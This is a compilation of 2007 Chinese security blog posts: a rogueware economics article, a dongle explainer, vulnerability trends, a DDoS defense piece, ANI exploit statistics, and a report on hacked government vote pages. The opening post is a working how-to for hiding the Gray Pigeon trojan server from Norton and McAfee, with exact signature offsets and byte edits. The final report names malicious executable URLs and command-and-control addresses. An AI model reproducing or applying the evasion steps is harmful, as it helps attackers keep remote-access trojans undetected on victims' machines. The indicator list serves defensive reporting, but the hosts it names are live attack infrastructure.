引用一句经典名言:虽然瑞星的内存杀毒可以杀灰鸽子,可是重启后灰鸽子还是噗拉噗拉的飞着。

注意:瑞星的内存杀毒其实是进程+DLL监控,只是提取了部分木马的内存特征码。

对付KIS 2006,修改免杀相当复杂,不是简单改动源码和反汇编可以做到的。需要从源码处下功夫。

通过修改特征逃避杀毒软件的检查

今天难得被我在学校机房蹭到了机器,装了诺顿和麦咖啡。反正还没针对这两个杀毒软件做过免杀,所以干脆就改一下好了。

定位过程就免了,给出特征码位置:

诺顿的:起始偏移 000B9A4D 偏移大小 00000007

麦咖啡:只要修改000B28B8处就可完成免杀

先生成一个服务端,接下来用C32ASM打开(用16进制),按Ctrl+G跳到000B9A4D,我们看到了一大段的字符串,这些应该是程序控件名及属性的定义,修改大小写后并不会影响程序的正常执行。选中包含000B9A4D_000B9A54在内的一段,点右键,选择“修改数据”,选择“大小写反转”,最后保存文件,再用诺顿8.0企业版查杀,通过,测试上线成功。

PS:从网上的资料来看,诺顿的特征码基本上是定位在字符串上,一般修改大小写就可完成免杀。

接下来在刚才修改免杀的基础上,我们再来修改麦咖啡的特征码。

用OC计算文件偏移000B28B8处的内存地址为004B9CB8,用OD加载鸽子服务端,按Ctrl+G跳转到004B9CB8处,看看该处的内容

004B9CB8 4E dec esi

这里是减法运算,我们来看看它附近的汇编代码。

004B9CB0 4E dec esi

004B9CB1 0049 00 add byte ptr ds:[ecx],cl

004B9CB4 43 inc ebx

004B9CB5 004F 00 add byte ptr ds:[edi],cl

004B9CB8 4E dec esi

004B9CB9 0000 add byte ptr ds:[eax],al

各个寄存器相互并不影响,也不存在堆栈和出栈操作,我们要做的是改变004B9CB8处的汇编代码,这样也就改变了特征码,最简单的方法就是将004B9CB8处的代码写到程序后面的0区域,然后用JMP指令来完成跳转。不过这里不需要这么做,如果将004B9CB5和004B9CB8处的代码交换一下,改成如下的形式

004B9CB5 4E dec esi

004B9CB8 004F 00 add byte ptr ds:[edi],cl

很明显原来004B9CB8处的代码换成了004B9CB5处的,而004B9CB5处的则换成了004B9CB8处的代码,交换顺序后,保存文件。用麦咖啡查杀已经通过,测试上线成功。

最后就是用Resource Hacker等资源编辑工具删除hacker资源,将修改后的服务端文件命名为CServer.dat覆盖到鸽子的Cache目录下。

流氓软件形成另类价值链

流氓软件形成另类价值链

作者:邝新华 文章来源:新经济导刊

VC们发现,没有“流氓”背景的网站似乎不能给他们带来爆发性的增长,于是有选择性地找这类网站来投,流氓软件的价值链就在资本的推动下形成了

  江民科技的监测报告显示,从2007年2月开始,我国计算机用户感染广告程序的数量激增,所占比例由1月的15%猛升到2月的40%。在十大病毒排名中,上升幅度最大的两个病毒均为广告程序。

  广告程序的激增表明越来越多的人正企图借助广告程序牟利,这意味着又一次流氓软件大潮即将来临。

  软件的流氓生存

  如果有一天你在打开网页的同时,发现弹出来好几个其它的网站,那是因为你上的那个网站有插件,只要你打开那个网站,就不得不同时浏览那个站长给你设定的其它网站。

  如果有一天下载了一个软件装上了以后,发现IE浏览器的左上角多出来一个某某搜索工具条或者某某上网助手,那是因为你在安装软件的同时把插件安装上了。这个插件已经嵌入到你的浏览器中。

  软件本无善恶之分,但当这些软件做出流氓的行为来,甚至以流氓的生存方式来获取商业利益时,这些软件就成了流氓软件,使用这些软件的人也成了互联网流氓。

  流氓及其软件在中国互联网界也存在了很多年的时间了,一直到了去年,或许是由于公众出离愤怒,或许是流氓的团伙产生利益冲突了,中国互联网协会不得不来了一次流氓大扫荡。

  据消息称,此前国内前10名的热门软件,都有可能捆绑了百度、猫扑、265、ZCOM等网站的IE插件和代码。中国互联网业内的事情能上中央电视台新闻节目的不多,而流氓软件事件就是其中一件,可见流氓软件在国内的影响已经很足够大了。

  网易的科技频道曾经评出中国互联网十大流氓网站。其第一位是3721.com(中文实名)。有人评价道:这个是流氓软件的开山鼻祖,就是因它将中国互联网带入到一个流氓时代。去年的流氓软件运动更是把焦点集中在雅虎的3721上网助手之上,并引发了后来著名的“两虎相争”案件。

  在去年流氓软件大战的时期,中国互联网协会公布了“恶意软件定义”的8种特征,其中包括强制安装、难以卸载、广告弹出、浏览器劫持、恶意收集用户信息、恶意卸载、恶意捆绑及其它侵犯用户知情权、选择权的恶意行为。

  但浩浩荡荡的运动并没有怎么打击到流氓和他们的软件们,究其原因,是因为在这灰色的地带下,有着稳固的“价值链条”。

  流氓的赚钱方式

  如果你是一个小网站的站长,但这个网站又大到有一天一万个IP浏览量,那么你就可以购入一个插件,并利用这个插件赚钱。

  刘明(化名)是某某插件公司的总经理,该公司有两个从事插件开发的工程师,开发了全套插件代码。只要买下他们的插件就能傻瓜式地操作,只要网站页面一有浏览就能弹出窗口来。

  根据弹出网站的数量等指标,刘明提供的插件价格也不一样。普通版的300元,只能弹一个窗口,中级版1000元能弹五个,高级版2800元能弹出无穷个窗口。除此之外,根据服务的不同还有其它的收费项目。

  从刘明这里购买插件的多是一些小站长,当他们的网站做到一定的流量时,为了维持网站的开支,但无法拉到大厂商的页面广告,就只好用这些插件来给其它网站“生产”流量。只要你的网站有一定的流量,刘明的产品就能使你的流量变成美元。该插件公司的广告是这样说的:一个一万ip的极普通的网站如果利用我们的插件做GG广告,一天可以赚20美元左右。

  如果某些大网站需要这些流量,就可以向这些小站长购买,那时弹出来的窗口就全是买主的网站首页。在互联网上有很多大型网站在购买这些流量,这个领域也有很多经销商。如果你在两年前上网,就会发现国内某著名C2C网站曾经在数不清的网站主页上弹出来。

  利用插件出卖流量是流氓软件价值链的第一种形式,流氓软件价值链的第二种形式是通过软件的下载出卖安装量。第一种形式是因为上了一些流氓网站而不得不被流氓阴了,第二种是因为下载或者安装了某些流氓软件而中了招。这通常是一些常用的软件,他们多放在一台下载平台提供免费下载,并美其名曰:网上没有免费的午餐。

  有人做过统计,某一个位列装机十大的软件,下载安装后会自己装上十多种软件或者网站的代码,这些被插入的软件中不乏国内著名的网站。有人以珊瑚虫软件为例,该软件每天下载量超过5万人次,以每次捆绑价格5分钱计算,每月即可带来近10万元的收入。

  这是流氓软件的第二条价值链,而第三条比较隐晦。它的传播方式可上可下,可能是因为上了某个网站,或者是下载了某个软件,总之就已经安装在你的电脑中了。它们做的事情就是收集用户的信息。

  这些信息包括用户什么时候上网、上哪些网站、看什么频道、有什么购物习惯等等。这个隐藏的小流氓把信息传回指定的服务器,服务器会统计并整理成用户资料分析。这些数据对两类网站有价值。第一种是购物网站,他们可以针对用户的购买习惯来推送相关的广告,如果你总上手机网站,就会给你发NOKIA的促销信息;第二种是广告平台,他们通过客户的相关资料为广告主提供精准的广告推送,国内一些电子杂志客户端软件就有这个功能。如果你总上汽车网,那么打开电子杂志阅读时出来的就是一辆帕萨特。

  赛迪顾问软件产业研究中心副总经理张曦说,“目前的插件有100多种,大的插件控制着千万台终端机器,如果每一次的广告能收几分钱,那么一年就能收入几百万。小的插件也控制着几百万台终端。”

  对于流氓软件的流行,有人认为关键是价值链最下游的广告主,他们才是真正推动流氓软件行业的真正力量。这些广告主绝大部分就是为了获取大量的流量或用户为目的的网站。一个装在数千万台不知情用户电脑的流氓插件可以使一个并不为人知的网站,在很短的时间里获取巨大的用户数和页面流量。

  这也是很多互联网传奇产生的灰色原因。

  在一个流氓变成商业巨子之后,人们不得不思考,成为商业巨子必须先成为流氓,于是越来越多的人通过流氓的手段来运营网站。如果你不用流氓软件你就没法跟得上时代的脚步。到了最后,VC们发现没有“流氓”背景的网站似乎不能给他们带来爆发性的增长曲线,于是有选择性地找这类网站。

  流氓软件的价值链就这样形成了:VC们不能不要回报,大型网站不能不要流量,可怜的用户更不能不用电脑。

星期日, 四月 29, 2007

实例比较 详细了解加密狗的加密原理

实例比较 详细了解加密狗的加密原理

作者:lvvl 来源:赛迪网安全社

在当今中国市场上最主要的加密锁品牌有:

1、美国彩虹公司(也是最早做硬件加密的公司)的国产品牌“加密狗”、美国品牌“圣天诺软件加密锁”;

2、阿拉丁的“HASP”系列加密锁;

3、德国威博公司的“WBU-KEY”加密锁;

4、深思洛克的“深思加密锁”;

5、蓝宇风公司的“金盾加密锁”;

6、飞天公司的“ROCKEY”加密锁等几个主要品牌。

以上加密锁品牌的工作原理都是大同小异:被保护的软件--加密锁之间形成一一对映的关系,被保护的软件在运行的过程当中不断通过其API函数向加密锁发指令来判断加密锁是否存在于,软件离开保护锁不能运行。

但是从其发展历程来看,以美国RAINBOW公司的产品生产研发的历程作一个简单的介绍:

1、从最早由美国RAINBOW公司生产的第一代硬件保护锁,只是通过一个简单查询函数来验证并口的硬件保护锁是否存在,存在则程序继续运行,不再则软件终止运行,来完成并保护软件开发商的利益;

2、接着依然是美国RAINBOW公司对自己的第一代的产品进行了改进而形成了第二代的加密锁产品,并且美国RAINBOW公司为其第二代产品取名为:SENTINEL PRO,其与第一代的产品相比较最大的改变在于加密锁硬件里头的运算芯片由RAINBOW公司写入了一个固定的“加密算法”,但这个算法是单一的固定的。以上两种产品对于软件开发商来说有一个相当大的风险,那就是其必需相信RAINBOW公司不会把买给他们的加密锁买给别的个人,如果RAINBOW把相同的产品出售给别人的话,别人拿到这个加密锁就能使用开发商的软件。

3、通过软件开发商对这个问题的重视,RAINBOW公司针对这种情开发出了第三代的加密产品:SENTINEL SUPERPRO,这种产品彻底解决了软件开发商的后顾之忧。这种产品其运算芯片中内置了28种算法,共分为56个单元,每两个单元可以单独保护一个应用程序,故用RAINBOW公司的说法其一把锁可以保护28个应用程序;且这种加密锁的每个算法单元所采用的算法因子是由软件开发商自己设定的,当其写入加密锁后对于外界来说就相当于一个暗箱,是任何人也读不出来的。

4、但随着解密者的技术的不断提高,RAINBOW中国公司研发出了第四代的产品-智能狗,与现今的差不多所有品牌的加密锁相比较,这种狗有了一个质的飞跃:其通过在开发过程中把一段代码加密后写入加密狗,当程序运行时再把加密狗里的代码在加密狗里自行运行,程序调用其运算结果来完成软件的加密,如此就从理论上杜绝了软件被破解的可能。

现在市面上的加密狗的工作原理不外乎RAINBOW的这两种形式:

1、程序发命令查询--加密狗运算后相应程序;

2、把源代码放入加密狗内部执行(现在还只有RAINBOW公司一家有此功能的加密狗)。

系统漏洞多元化 呈“均衡”态势发展

系统漏洞多元化 呈“均衡”态势发展

作者:lvvl 来源:赛迪网安全社区

四月份,各种操作系统的漏洞似乎达到了顶峰。从调查的结果看,在某些平台或应用中减少的漏洞,正在新的地方迅速蔓延——漏洞在达到“均衡”的基础上,甚至还有所增长。

“苹果”上的“孔洞”

根据美国马里兰州Bethesda市安全培训与研究机构SANS Institute的报道,Mac OS X中发现的漏洞数量快速增长,这种苹果电脑公司的操作系统不久可能同Windows系统一样容易遭到恶意攻击。

目前来看,虽然Mac OS X仍比Windows安全,因为其相对较小的安装基础对于恶意黑客的吸引力不如Windows系统大。但是,据最新季度SANS Top 20 Internet安全漏洞名单显示,Mac操作系统中发现的漏洞数量“毁坏”了其作为一种替代Windows安全操作系统的声誉。

SANS的经理Ed Skodis说:“当用户使用他们闪亮的银色苹果机上网冲浪时,常常有一种完全无虑感觉。不过这可能是个错误,因为现在有很多人在研究Mac OS存在的安全漏洞。”

加州Redwood Shores市安全服务提供商Qualys公司安全漏洞管理试验室经理Amol Sarwate说,2005年,在Mac OS X中发现了差不多52种安全漏洞;而今年到目前为止又发现了17种新增漏洞。

Sarwate说,2006年报告的安全漏洞数量是2004年的两倍多,2004年发现了24种漏洞。Sarwate说,从2006年初到2007年四月份,在所有发现的新增漏洞中,至少三分之一被认为是危急级别的漏洞。在过去几个月中,苹果的Safari Web浏览器用户还遇到了第一次零日攻击,这令很多用户措手不及。

Skodis说,苹果越来越大的市场份额,以及该公司最近做出的开发基于Intel芯片系统的决定,吸引了越来越多的黑客组织对其系统的注意。Skodis说,基于同样的道理,苹果最近推出的使基于Intel的Mac可运行Windows XP 的Boot Camp,这无疑也增加了它的风险程度。事实上,虽然Windows XP运行在Mac硬盘上的一个独立的分区中,但出现能够跨越硬盘两个分区的恶意代码只是时间问题。对黑客来说,做到这点不会很困难。

系统漏洞“均衡”发展

Sarwate说,同时期内IIS、邮件服务和NetBIOS 等Windows服务中发现的安全漏洞数量似乎大幅减少。但这种减少被包括Windows Metafile漏洞(WMF)和IE漏洞在内的客户端漏洞大幅增加所抵消。

3Com公司TippingPoint部安全硬件经理Rohit Dhamankar说,事实上,IE中几种零日漏洞的出现——包括目前还未修补的一个漏洞——使Windows用户面临严重的安全风险。

事实上,作为SANS Top 20报告的编辑,Dhamanker表示,微软客户系统中的零日漏洞越来越多地被用在用户的系统上安装广告软件、间谍软件和其他类型的恶意代码。因此,他说现在可能到了将IE改名为“Internet Exploiter”(Internet漏洞利用器)的时候了,因为用户在使用IE时被人利用的可能性是那么的大。

SANS的研究报告还显示,虽然Firefox仍是比IE更安全的Web浏览器,但它并不是灵丹妙药。据SANS说,过去半年中,除了另外几种危急级安全漏洞之外,Firefox和Mozilla的用户不得不修补11种可被恶意网页利用来运行代码的安全漏洞。

SANS的报告还发现,允许直接访问数据库、数据仓库和备份数据(尤其是来自Oracle公司的软件)的安全漏洞数量在增加。SANS发现基于文件的攻击在不断增加,特别是那些利用媒体和图像文件(如WMF)的攻击。

这份报告说:“此外,我们还看到利用处理媒体文件的程序,如Apple QuickTime/iTunes、Windows Media Player、RealNetworks RealPlayer、Macromedia Flash Player和Nullsoft Winamp中的漏洞攻击数量在激增。”

保护接入节点与骨干节点 防范黑客攻击

近一段时期以来,“黑客”已经成为网络上最热门的一个词语。“熊猫”刚走,“灰鸽子”又来。我们看到,随着网络的普及和带宽资费的松动,国内的“黑客”部落,已经从最初的炫耀技术,慢慢向“职业化”发展。

早期的“黑客”,主要利用操作系统或者软件的漏洞,入侵一些 WEB 服务等,窜改页面的内容,比如在主页写上“您的主页被 XXX 攻克” 的字样,以炫耀自己的技术。他们追求的只是“肉鸡”的占领,而尽量不破坏影响用户的正常服务,更不会以此来要挟获取利益。

而现在,黑客们已经不满足于炫耀,而是更加的务实。他们现在开始利用网络来窃取银行秘码,股票交易秘码,和一些游戏的帐户,其最终目的已经不是炫耀,而是直接利用网络来赚钱,来换取现金。一些更高级的黑客们,会利用已经占领的大量“肉机”,在一些人的利益的诱惑下,向一些网站, ISP 游戏提供商或者网吧运营商发动 DDOS 拒绝服务攻击,造成网络拥挤,正常的经营被迫关闭,这些黑客也因此会可以获得高额报酬。由于这类活动已经超越的法律的界限,因此一些人才提出“做黑客要低调”,以逃避公安的追查。在网络经历的几年的低谷期后,逐渐开始欣欣向荣的今天,这些“黑客”也要趁着这股东风,在网上兴风作浪,赚取不义之财。

对比以前,目前黑客进行的活动更加具有破坏力,已经严重影响了人们的正常的经济活动秩序。如果不尽早对利用网络犯罪这个毒瘤加以重视,研究并采取必要的措施,将严重阻碍国内信息化网络的建设,甚至破坏国内的经济发展和社会的和谐。

一些公安机关,运营商和网络安全厂商已经意识到网络攻击问题的严重性,今年 1 月由三方参加的在北京举办的防护网络黑客 DDOS 的高层研讨会上,就提出许多有建设性的意见。

目前,黑客进行网络破坏活动主要是两类途径:

一、利用邮件,网络下载,聊天等工具分发和传播后门程序

用户从不名网站的链接下载一些程序中,有时就会有黑客设计的陷阱,用户运行这些程序后,后门程序也一同种植在机器中,这些木马程序会获取用户的超级管理员权限,监视和记录用户的所有操作动作,包括通过键盘敲入的任何指令,盗用用户的一些特殊帐户,密码,然后自动发给黑客。另外,黑客还会通过木马程序开放某些特殊端口,供黑客控制主机和继续进一步入侵时使用,此时,这台主机就成为黑客的“肉鸡”。同时,利用一些操作系统的漏洞,一些高级的木马程序有时还会像病毒一样试图连接局域网内的其他程序,进行复制和传播,入侵内网的其他主机。

二、黑客利用占领的“肉机”

黑客利用占领的“肉机”向一些网站,交易平台,游戏,网吧等一些经营性服务器发起 DDOS 拒绝服务攻击,利用同一时间的海量数据阻塞网络链路,使正常服务无法连接和访问。这种类型的攻击,以不仅仅是炫耀技术,而更多是有很多直接获利的目的,他们或者是恶意商业竞争的对手花钱雇佣的(据报道,现在黑客市场的价格是租用每个“肉鸡”的价格,仅需要几角钱 / 每星期),或者因此达到敲诈或者报复的目的。

DoS 攻击

通常而言, DoS 的网络数据包同样是利用 TCP/IP 协议在 Internet 传输。这些数据包本身一般是无害的,但是如果数据包异常过多,就会造成网络设备或者服务器过载,迅速消耗了系统资源,造成服务拒绝,这就是 DoS 攻击的基本工作原理。

DoS 攻击之所以难于防护,其关键之处就在于非法流量和合法流量相互混杂,防护过程中无法有效的检测到 DoS 攻击。加之许多 DoS 攻击都采用了伪造源地址 IP 的技术,从而成功的躲避了基于统计模式工具的识别。

具体 DOS 攻击实现有如下几种方法:

1、SYN FLOOD

利用服务器的连接缓冲区,设置特殊的 TCP 包头,向服务器端不断地发送大量只有 SYN 标志的 TCP 连接请求。当服务器接收的时候,认为是没有建立起来的连接请求,于是这些请求建立会话,排到缓冲区队列中。如果发送的 SYN 请求超过了服务器能容纳的限度,缓冲区队列占满,那么服务器就不再接收新的请求了,因此其他合法用户的连接都会被拒绝掉。

2、IP 欺骗 DOS 攻击

这种攻击利用 RST 位来实现。假设现在有一个合法用户 (1.1.1.1) 已经同服务器建立了正常的连接,攻击者构造攻击的 TCP 数据,伪装自己的 IP 为 1.1.1.1 ,并向服务器发送一个带有 RST 位的 TCP 数据段。服务器接收到这样的数据后,会认为从 1.1.1.1 发送的连接有错误,从而清空缓冲区中建立好的连接。这时,如果合法用户 1.1.1.1 再发送合法数据,服务器就已经没有这样的连接了,该用户就必须从新开始建立连接。攻击者伪造大量的 IP 地址,向目标主机发送 RST 数据,从而使服务器不对合法用户服务。

3、带宽 DOS 攻击( UDP Flood , ICMP Flood )

这类攻击完全利用连接带宽足够大,持续向目标服务器发送大量请求,如 UDP 的包, ICMP 的 ping 包,来消耗服务器的缓冲区,或者仅消耗服务器的连接带宽,从而达到网络拥塞,使服务器不能正常提供服务。

DDOS 攻击

单一的 DoS 攻击一般是采用一对一方式的,“分布式拒绝服务攻击”( Distributed Denial of Service ,简称 DDoS )是建立在传统的 DoS 攻击基础之上一类攻击方式。当计算机与网络的处理能力加大了,用一台攻击机来攻击不再能起作用的话,攻击者就使用 10 台甚至 100 台攻击机同时攻击。这就是 DDos 。 DDoS 就是利用更多的傀儡机“肉鸡”来同时发起进攻,更大规模的来进攻受害者,破坏力更强。

现在,高速广泛连接的网络给大家带来了方便,但同时也为 DDoS 攻击创造了极为有利的条件。在低速网络时代时,黑客占领攻击用的傀儡机时,总是会优先考虑离目标网络距离近的机器,因为经过路由器的跳数少,效果好。而现在电信骨干节点之间的连接都是以 G 为级别的,大城市之间更可以达到 2.5G 的连接,这使得攻击可以从更远的地方或者其他城市发起,攻击者的傀儡机位置可以在分布在更大的范围,选择起来更灵活了,攻击也更加隐蔽。

当主机服务器被 DDoS 攻击时,通常会有如下现象 :

• 被攻击主机上有大量等待的 TCP 连接

• 网络中充斥着大量的无用的数据包,源地址一般为伪造的

• 高流量无用数据造成网络拥塞,使受害主机无法正常和外界通讯

• 反复高速的发出特定的服务请求,使受害主机无法及时处理所有正常请求

• 系统服务器 CPU 利用率极高,处理速度缓慢,甚至宕机

如何应对 DDOS 攻击

从以上的分析可以看出,黑客的攻击方式已经越来越简单,门槛越来越低,因此,这次攻击事件越来越频繁,造成的破坏力也越来越严重。

首先,要加强每个网络用户的安全意识,安装杀毒软件,安装软件或者硬件防火墙,不从不名网站下载软件,不访问一些不名网站,不打开不名邮件,尽量避免木马的种植。

其次,要求国家立法单位,对网络犯罪进行立法,对传播病毒,木马,和进行黑客攻击的行为进行定性,并有法可依,保障国家信息高速网络平台的安全,为国内信息化建设保驾护航。

再次,我们的运营商有义务在网络平台升级和建设的过程中,有效在各个节点抵御黑客恶意攻击的行为,以净化我们的网络。不光仅仅是只加强可以看到效益的终端平台,如 IDC 机房的抗 DDOS 防护,而是应该在网络的各个节点都加强防护,特别是在接入端进行 DDOS 防护和源地址检测,使得黑客的主机或者占领的“肉鸡”,无法拉起大量带宽,有效记录各种用户(特别是网吧用户)的网络行为,建立电子档案,以协助公安部门对网络犯罪进行调查,为指证犯罪提供证据。

对我们的一些网络运营平台用户,如经营性网站,门户网站,网上交易平台,网络游戏提供商,网吧, VOIP 提供商等,也要加强网络出口的防护,发现和举证攻击行为,做好日志记录,并利用硬件防护设备,最大程度的减少黑客攻击的危害,保障经营性平台的正常运行。

对我们企事业单位的网络,虽不象经营性的网络,成为黑客攻击的重点目标,但也可能存在“误伤”的现象,如与某个网吧共在一个运营商的路由器下,或者黑客得到的 IP 地址不准确,目前这类网络事件也不少。因此,在新的网络的设计中,防护 DDOS ,也应该成为企业网络安全防护的重点,同时,在企业网络的规划中,如何防止自己内部的主机和服务器避免成为黑客的“肉鸡”,也是企业在新形势下防护的一个重点课题,要求我们的企业网络要真正做到:

(1)对内部主机的有效防护,避免成为黑客的“肉鸡”;

(2)当内部主机成为“肉鸡”后能很快发现,并在很快的时间内杀掉控制程序;

(3)“肉鸡”攻击和传播时迅速报警,切断其攻击和传播途径,同时,不影响出口带宽和内部其他主机网络的正常使用。

因此,在防护 DDOS 和黑客攻击的问题上,要求我们的公安机关,运营商和网络安全厂商,和网络的用户,在意识到网络攻击问题的严重性前提下,多方配合,共同加强我们的网络平台安全性的建设性,净化我们的网络,不给黑客以生存的攻击,保障我们十几年来信息网络平台建设的成果,为我国的经济建设提供坚固安全的网络信息化平台。

在网络安全厂商方面,对于专用的抗 DDOS 设备,许多厂商也参与进来,研制了许多新型设备,目前大多数还是集中在解决IDC机房的主机防护上。

其实,通过上述的研究,我们知道,要彻底根除 DDOS 和黑客攻击,攻击源头,接入节点和一些骨干节点才是防护的重点,在这个层次上做的比较好的厂商不是很多,举个例子,大唐龙创公司,大唐龙创公司在接入节点DDOS 防护上有很好的解决方案。扩充了其 DDOS 防护的产品线,为运营商提供“接入节点”的黑客攻击防护,在防护接入带宽的同时,使得黑客和黑客的占领的“肉鸡”无法施展效力,无处藏身,从源头上解决目前黑客 DDOS 攻击猖獗的问题。

具体分析查看动态光标漏洞的流行现状

具体分析查看动态光标漏洞的流行现状

作者:加糖苦咖啡 来源:赛迪网安全社区

ANI 0day漏洞是四月份的热门话题,直到微软MS07-017提前发布,热度才渐渐冷却下来。这里对最近4月中旬10来天该漏洞的利用情况,以及恶意ANI文件的感染率做了一个简单统计,结果如下:

1、MS07-017成为国内网站挂马第二流行的漏洞,但和“挂马王”MS06-014仍有不小的差距。



可以看到,挂马网站使用MS07-017漏洞的比例大体在10% - 20%,使用MS06-014的比例在80%左右。二者的比例之和约占97% - 98%。MS07-017成功的从MS06-014那里抢来了不少百分比,稳坐常用挂马漏洞的第二把交椅。

2、恶意ANI文件感染率



利用MS07-017漏洞的恶意ANI文件感染率是一个快速上升的趋势,短短10天时间,就拥有了超过4%的感染率,即每25台染毒计算机中就有1台检测出恶意ANI文件。

从上面的统计结果来看,ANI漏洞并没有随着它的媒体曝光率下降而真的淡出,这个严重漏洞对众多网民的威胁才刚刚开始。别的不多说了,再说一句绝对不是废话的废话:没打补丁的快打补丁去吧。

都是投票系统惹的祸 小心上面的木马

作者:加糖苦咖啡 来源:赛迪网安全社区

翻最近收到的网站被黑报告,发现因为用了“心情网络投票系统”被挂恶意脚本的还真不少。

其中,hxxp://d.thec.cn/knell/js.js的作者,应该算是代表。这位仁兄似乎只靠黑投票系统来挂马,而且对政府网站比较偏爱,下面是一些被他挂的网址:

hxxp://cbf.qhagri.gov.cn/vote/votedy.asp

hxxp://jly.cq.gov.cn/admin/vote/votedy.asp

hxxp://www.cqta.gov.cn/admin/vote/votedy.asp

hxxp://www.jdz.gov.cn/vote/votedy.asp

hxxp://www.lndca.gov.cn/vote/votedy.asp

hxxp://www.ytepb.gov.cn/toupiao/votedy.asp

hxxp://cdb.teda.gov.cn/ballot/votedy.asp

hxxp://www.jnrsj.gov.cn:8080/wsdc/votedy.asp

hxxp://www.fm1033.cn/dgct_amht/amht_vote/votedy.asp

hxxp://vote.zgys.org/votedy.asp

hxxp://it.inhe.net/toupiao/index.htm

[已清除]hxxp://www.sdny.gov.cn/vote/votedy.asp

[已清除]hxxp://www.ytwm.com/default.shtml

[已清除]hxxp://www.nccate.com/vote/votedy.asp

就目前收集到的报告看,hxxp://d.thec.cn/knell下还有几个恶意网页,会下载执行

hxxp://www.rzguanhai.com/ddos.exe

hxxp://www.rzguanhai.com/server.exe

hxxp://www.tscbs.com/images/down.exe

ddos.exe已经失效了,其余2个还在。虚拟机里抓了下包,似乎都是鸽子。控制端分别是:

abc74231.3322.org:8181

202.102.135.87:8181

都是山东的IP,后者的域名目前是shm.com.cn——一个正规的烟台新闻网站,有点意思。

推广链接